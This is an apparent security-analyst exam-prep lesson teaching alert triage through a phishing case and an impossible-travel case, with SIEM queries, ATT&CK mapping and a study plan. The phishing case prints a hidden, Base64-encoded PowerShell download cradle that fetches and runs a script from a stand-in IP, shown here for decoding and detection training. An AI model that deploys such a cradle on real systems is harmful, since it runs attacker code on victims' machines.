SOC & Threat Detection Exam Prep

An alert fires at 09:14: "Office application spawned encoded PowerShell". You have fifteen minutes before the next one lands in your queue. Is it malware, a macro an accountant has used for years, or a test by the red team? Analyst-level security exams are built around exactly this moment – not around memorising port numbers, but around choosing the best next step with incomplete evidence. This lesson shows you what those exams test, gives you a repeatable triage workflow, walks through two fully solved alert cases and ends with a study plan you can start today.

• 12lessons, from logs to final exam strategy
• 6steps in the TRIAGE workflow you learn here
• 2alert cases solved end to end in this lesson
• ~20 minreading time for this lesson

What an analyst exam really tests

Most people start preparing for a security analyst exam by collecting facts: Windows event IDs, port numbers, the phases of incident response, the parts of a CVSS vector. You will need those facts, and this course gives you compact tables for all of them. But facts are only the raw material. The questions themselves are usually scenarios: a log excerpt, an alert, a short description of a company, and four plausible answers. Several answers are technically true. Only one is the best answer for the situation described, and the exam checks whether you can see why.

That is good news: the exam rewards the thinking a real Security Operations Centre (SOC) needs. A SOC analyst monitors telemetry, triages alerts, investigates what survives triage and hands confirmed incidents to response. The decisions are small and frequent: Is this alert real? What do I check first? Who needs to know? Is it time to contain, or do I need more evidence? If you practise making those decisions with a clear method, exam questions start to feel familiar instead of tricky.

The topics in this course overlap with analyst-level certifications such as CompTIA CySA+, EC-Council's Certified SOC Analyst and GIAC's intrusion-detection exams; we teach the shared, vendor-neutral body of knowledge rather than any single exam's blueprint.

The question formats you should expect

Formats differ between exams and change over time; treat these as patterns, not promises:

• Single-answer scenario questions. "A SOC analyst notices … Which of the following should the analyst do FIRST?" The scenario is short; the decisive detail is often one word.
• Evidence-reading questions. A firewall log, a process tree, a packet summary or a vulnerability scan report, followed by "What is the MOST likely explanation?" You must read fields accurately under time pressure.
• Performance-based or simulation items on some exams: ordering incident-response steps, matching indicators to techniques, or picking the lines in a log that prove compromise. They test whether you can apply the workflow, not only describe it.

The exam domains at a glance

Exams slice the field differently, but the same body of knowledge keeps appearing. Use this vendor-neutral map as a checklist: if you cannot explain a "what you must be able to do" cell in two sentences, that row deserves your study time.

The TRIAGE workflow: from alert to decision

Triage means sorting alerts by what they need: closing, tuning, deeper investigation or immediate escalation. Under exam pressure – and on a busy shift – you need a fixed order of work, so that you never skip a step that later turns out to matter. We use a six-step workflow with a deliberately easy name:

• T – Take inread the whole alert: rule, host, user, time, raw event
• R – Reproducefind the raw evidence behind the alert in the source log
• I – Investigateenrich: user role, asset value, intel on hashes, IPs, domains
• A – Assess scopesame indicator on other hosts, users or days?
• G – Gradetrue, false or benign positive, plus a severity
• E – Escalate or endhand over, contain per playbook, or close with notes

Two rules sit on top of the six steps. First, the raw event beats the alert title. A rule's name is somebody's summary of what it was meant to detect; the event shows what actually happened. Second, every step leaves a note. If you are interrupted, a colleague must be able to continue from your notes without repeating your queries.

Worked case 1: Office spawns encoded PowerShell

Scenario (training data, not a real incident). You work the morning shift for a mid-sized company. The SIEM raises a high-severity alert from a rule called Office child process – encoded PowerShell for host WS-FIN-07, a finance workstation used by j.doe. Here is the alert as it reaches your queue:

{
  "rule": "Office child process - encoded PowerShell",
  "severity": "high",
  "host": "WS-FIN-07",
  "user": "EXAMPLE\\j.doe",
  "time_utc": "2026-10-14T09:12:41Z",
  "source": "Sysmon Event ID 1 (process creation)"
}

1. Take in. Note the rule name, host, user, time in UTC and the data source. The source tells you where the raw evidence lives: Sysmon process-creation events on the endpoint, forwarded to the SIEM.
2. Reproduce. Open the raw event behind the alert. Never grade an alert from its title alone.
3. Investigate. Decode the command line, check what the process did on the network, and enrich the indicators.
4. Assess scope. Search for the same parent-child pattern and the same destination across all hosts for the last seven days.
5. Grade. Decide true, false or benign positive and assign a severity based on evidence and asset value.
6. Escalate or end. Follow the playbook, write the ticket note and hand over.

Step 2 – the raw event

The process-creation event (shortened to the fields that matter) looks like this:

UtcTime:           2026-10-14 09:12:41.337
Image:             C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine:       powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==
User:              EXAMPLE\j.doe
IntegrityLevel:    Medium
ParentImage:       C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
ParentCommandLine: "WINWORD.EXE" /n "C:\Users\j.doe\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\Q7K2M1PZ\invoice_0923.docm" /o ""

Three details already raise the stakes. The parent is Word, and Word has no business starting PowerShell during normal invoice work. The document is a .docm – a macro-enabled format – opened from the Outlook attachment cache, so it arrived by email. And the PowerShell flags hide the activity: -nop skips the user profile, -w hidden hides the window and -enc passes the command as Base64.

Step 3 – decode and enrich

PowerShell's -enc (short for -EncodedCommand) expects Base64 of UTF-16LE text, not of plain ASCII. That is why a plain base64 -d prints text with odd gaps between letters. On an analysis machine, decode it safely as text – you are reading the command, not running it:

# Linux / macOS analysis box
echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==' \
  | base64 -d | iconv -f UTF-16LE -t UTF-8; echo

# Windows PowerShell equivalent
$b = 'SQBFAFgAIAAo...ApAA=='   # paste the full string
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b))

Expected output:

IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1')

This is a classic download cradle: fetch a script from a remote server and execute it directly in memory with IEX (Invoke-Expression), so that no script file needs to be written to disk. The question now is whether the download succeeded. The web proxy answers it:

2026-10-14T09:12:42Z 10.20.4.37 EXAMPLE\j.doe GET http://203.0.113.50/a.ps1 200 4211 text/plain "-"

The proxy returned 200 with 4,211 bytes, so the script was delivered. Note the empty user agent ("-"): Net.WebClient sends no User-Agent header unless the code sets one, so a workstation fetching a script with no user agent is itself a useful hunting lead. The destination is a bare IP with no domain name, over plain HTTP. Intel lookup on 203.0.113.50 and on the document's SHA-256 hash would follow next; in our scenario the hash is unknown to public sources, which proves nothing either way – fresh phishing documents often are.

Step 4 – scope

One infected host is an incident; ten are a campaign. Two searches over the last seven days answer the scope question. The syntax below is Splunk SPL; the same logic works in any SIEM query language:

index=sysmon EventCode=1 ParentImage="*\\WINWORD.EXE" Image="*\\powershell.exe" earliest=-7d
| stats count min(_time) as first max(_time) as last by host, user

index=proxy dest_ip="203.0.113.50" earliest=-7d
| stats count by src_ip, user, status

Example output for this scenario:

host        user           count  first                last
WS-FIN-07   EXAMPLE\j.doe  1      2026-10-14 09:12:41  2026-10-14 09:12:41

src_ip       user           status  count
10.20.4.37   EXAMPLE\j.doe  200     1
10.20.4.52   EXAMPLE\p.marti  403     1

The second result is important. A second user, p.marti, also tried to reach the same IP, but the proxy blocked it with 403. That user very likely received the same email. The incident now has two affected people and one host with confirmed execution.

Steps 5 and 6 – grade, map and hand over

Grade: true positive, high severity. The evidence chain is complete – macro document from email, Word spawning hidden encoded PowerShell, a successful download from an external IP – and the asset handles finance data. Mapped to MITRE ATT&CK, the behaviour reads: T1566.001 Spearphishing Attachment, T1204.002 User Execution: Malicious File, T1059.001 PowerShell, T1027 Obfuscated Files or Information and T1105 Ingress Tool Transfer.

The next step depends on your playbook and role. In most SOCs a first-line analyst escalates to the incident-response team and, where the playbook allows, triggers network isolation of the host through the EDR – which cuts the attacker off but keeps the machine running, so memory evidence survives. Shutting down or reimaging the workstation immediately would destroy exactly that evidence. Blocking the IP at the proxy is useful but not sufficient: the script already ran.

[Ticket note – 09:27 UTC]
Verdict: TRUE POSITIVE, severity HIGH (finance asset, confirmed execution)
Evidence: Sysmon EID1 09:12:41 WINWORD.EXE -> powershell -nop -w hidden -enc (decoded: IEX download cradle)
          Proxy 09:12:42 GET http://203.0.113.50/a.ps1 -> 200, 4211 bytes, empty UA
Scope:    WS-FIN-07 (executed); p.marti 10.20.4.52 attempt blocked (403) - same email likely
ATT&CK:   T1566.001, T1204.002, T1059.001, T1027, T1105
Actions:  EDR network isolation of WS-FIN-07 (playbook PB-07), host NOT powered off
          Escalated to IR on-call; proxy block requested for 203.0.113.50
Open:     email message ID + recipients, attachment hash sweep, what a.ps1 did

1. 09:12:41 – executionWord opens invoice_0923.docm from the Outlook cache and spawns hidden, encoded PowerShell.
2. 09:12:42 – payload deliveredThe proxy logs a successful download of a.ps1 from 203.0.113.50.
3. 09:14 – alert queuedThe SIEM correlation rule fires and the ticket is created.
4. 09:16–09:24 – triageRaw event checked, command decoded, proxy and Sysmon searched for scope.
5. 09:27 – escalationHost isolated per playbook, incident handed to IR with a complete note.

Worked case 2: the impossible-travel alert that was benign

The second case trains the other half of triage: closing an alert correctly. A cloud identity alert reports "impossible travel" for m.keller: a sign-in from Basel at 07:58 UTC and another from an IP that geolocates to Amsterdam at 08:31 UTC. No one travels between those cities in 33 minutes.

Reproduce: both sign-ins exist in the identity provider's raw log. Investigate: the second IP belongs to the egress range of the company's own VPN provider, documented in the network inventory; the device ID is the same managed laptop; MFA was satisfied; nothing else changed – no new inbox rules, no new MFA methods, no unusual downloads. Asked through the agreed channel, the user confirms she connected to the VPN at 08:30.

Grade: the rule did exactly what it was built to do – detect geographically distant sign-ins – and the activity is legitimate. That makes it a benign true positive, not a false positive. The difference matters for tuning: a false positive means the detection logic is wrong; a benign true positive means the logic is right but needs context. The improvement here is to register the VPN egress ranges as a known location for this rule, with an owner and a review date, rather than to switch the rule off.

Exam angle: how triage questions are asked, and the traps

Analyst exams test the workflow above through a handful of recurring question shapes. Recognising the shape is half the answer.

Apply that to case 1. A question might list: (A) reimage WS-FIN-07, (B) isolate WS-FIN-07 through the EDR and escalate, (C) block 203.0.113.50 on the firewall, (D) reset j.doe's password. All four are reasonable at some point. B is the best next step because it contains the threat while preserving evidence; A destroys memory evidence, C is incomplete because the code already ran, and D does not stop a process already running on the host.

Common thinking errors in triage

Beyond these, two deeper errors catch even experienced analysts. Anchoring: once you believe "this is the phishing campaign from yesterday", you stop noticing details that do not fit. Counter it by writing one alternative explanation before you grade. Alert fatigue: after fifty identical false positives, the fifty-first gets closed on reflex. Counter it by fixing noisy rules instead of tolerating them – the tuning step is part of triage, not an optional extra.

Memory hooks for the exam

Many frameworks here are ordered lists, and exams check the order. These mnemonics are our own – silly sticks better.

A note on the incident-response row: NIST published Revision 3 of SP 800-61 in 2025, which reorganises the guidance around the functions of the NIST Cybersecurity Framework 2.0. Many exams and study materials still use the four-phase lifecycle above, and some use the six-step variant Preparation, Identification, Containment, Eradication, Recovery, Lessons learned. Lesson 8 shows how they map onto each other, so neither version surprises you.

Your study plan: 4, 8 or 12 weeks

Choose the plan by your starting point, not by your ambition. If you already work in IT operations or a SOC, four focused weeks can be enough to fill the gaps. If logs and networks are new to you, give yourself eight to twelve. In every plan, practice questions start early – answering questions is not the final step after learning, it is how you find out what you have not learned.

How to study so it sticks

• Retrieve, do not re-read. Close the lesson and write down the five most important points from memory. The gaps you find are your next study block.
• Explain wrong answers in writing. For each practice question you miss, write one sentence on why the correct answer is better than the one you chose. Patterns appear quickly – often the same trap three times.
• Space it out. Twenty minutes on five days beats two hours on one evening, especially for tables such as event IDs and ports.

Check yourself: triage and exam basics

You can now…

• Describe what analyst exams test – scenario judgement built on a base of facts.
• Recognise question shapes – FIRST, BEST, MOST likely, NEXT and "should NOT".
• Apply the TRIAGE workflow – take in, reproduce, investigate, assess scope, grade, escalate or end.
• Decode an encoded PowerShell command – and explain why UTF-16LE matters.
• Scope an indicator – across hosts and users with two simple SIEM searches.
• Tell false, benign true and true positives apart – and what each means for tuning.
• Choose containment that preserves evidence – isolation before any rebuild.
• Write a ticket note – verdict, evidence, scope, mapping, actions, open questions.
• Pick a study plan – 4, 8 or 12 weeks, with practice questions from the start.

Glossary